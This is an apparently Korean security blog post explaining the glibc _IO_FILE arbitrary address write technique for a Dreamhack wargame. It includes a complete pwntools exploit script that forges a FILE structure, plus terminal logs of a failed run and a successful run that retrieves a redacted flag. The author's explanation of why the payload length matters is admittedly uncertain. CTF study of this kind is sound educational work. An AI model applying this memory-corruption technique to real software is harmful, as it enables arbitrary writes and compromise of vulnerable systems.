_IO_FILE Arbitrary Address Write

2022. 8. 16. 21:55·Tips & theory
728x90
반응형

원리

큰 틀은 _IO_FILE Arbitrary Address Read와 동일하다.

https://wyv3rn.tistory.com/110

 

_IO_FILE Arbitrary Address Read

원리 여러개의 파일을 열지만 읽기 권한이 없는 경우, 예를 들어 관리자가 작성한 암호 파일과 유저가 작성한 파일을 열어 그 내용을 비교한다고 가정할 때 관리자 파일에 읽기 권한이 없는 경

wyv3rn.tistory.com

 

취약점

마찬가지로 read와 동일하지만, _flags 값과 구조체에 들어가는 데이터가 조금 다르다.

 

Read 함수

함수 인자

read 함수의 구조는 아래와 같다.

read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);

각 인자의 주요점은 아래와 같다.

f->_fileno : 읽어 들일 방식. 보통 표준 입력하면 되기에 0을 사용.
IO_buf_base : 입력을 시작할 주소
IO_buf_end : 입력을 종료할 주소

 

_flags 변수

flags 변수 값은 0xfbad2488이 일반적이다.

이는

_IO_IS_FILEBUF
_IO_TIED_PUT_GET
_IO_LINKED
_IO_NO_WRITES

의 권한을 말한다.

 

_IO_buf_end

특이사항으로 _IO_buf_end 값을 buffer보다 큰 값을 더해 조작해야 한다.

즉 buffer size가 100 byte라면 _IO_buf_end > _IO_buf_base + 100 이어야 한다는 것이다.

그 이유는 _IO_new_file_underflow 코드에서 end - base 값이 함수의 인자로 전달된 읽을 크기보다 커야 하는 조건이 있기 때문이다.

 

삽입 값

추가 특이사항으로 삽입할 값 전달 시 end - base 값과 유사해야 한다.

이유는 확실히 알 수 없지만, 해당 buffer를 거의 가득 채웠을 때만 작동하는 것을 확인하였다.

예를 들면 아래와 같다.

from pwn import *

p = remote('host3.dreamhack.games',8537)
#p = process('./iofile_aaw')
e = ELF('./iofile_aaw')

addr = e.symbols['overwrite_me']

pay = b''
pay += p64(0xfbad2488) #flags
pay += p64(0) #read ptr
pay += p64(0) #read end
pay += p64(0) #read base
pay += p64(0) #write base
pay += p64(0) #write ptr
pay += p64(0) #write end
pay += p64(addr) #buf base
pay += p64(addr+1024) #buf end
pay += p64(0) #save base
pay += p64(0) #backup base
pay += p64(0) #save end
pay += p64(0) #marker
pay += p64(0) #chain
pay += p64(0) #fileno

p.sendlineafter('Data: ',pay)

payload = p64(0xdeadbeef) + b'\x00'*(1024-10)
print(len(payload))
p.sendline(payload)
p.interactive()

payload 길이가 1021 byte 일 때 실패

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 8537: Done
[*] '/home/kali/Downloads/iofile_aaw'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
1021
[*] Switching to interactive mode
$ 
ᆳ\[*] Got EOF while reading in interactive

payload 길이가 1022 byte 일 때 성공

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 8537: Done
[*] '/home/kali/Downloads/iofile_aaw'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
1022
[*] Switching to interactive mode
ᆳ\xdeDH{----------#플래그는 삭제}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$

이유는 정확히 알 수 없다;

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Tips & theory' 카테고리의 다른 글

FSOP - _IO_flush_all_lockp ()  (0) 2022.08.18
Bypass IO_validate_vtable  (0) 2022.08.17
_IO_FILE Arbitrary Address Read  (0) 2022.08.16
SROP  (0) 2022.08.15
rtld_global  (0) 2022.08.15
'Tips & theory' 카테고리의 다른 글
  • FSOP - _IO_flush_all_lockp ()
  • Bypass IO_validate_vtable
  • _IO_FILE Arbitrary Address Read
  • SROP
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (500)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    libc
    root
    _IO_FILE
    hackerschool
    rop
    32bit
    lob
    RTL
    CANARY
    vtable
    heap
    BOF
    tcache
    Format String Bug
    docker
    dreamhack
    pwnable.kr
    la ctf
    exploit education
    Buffer Overflow
    pwntools
    64bit
    cryptohack
    phoenix
    root-me
    x86
    Me
    ROOT ME
    x64
    FSB
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
_IO_FILE Arbitrary Address Write
상단으로

티스토리툴바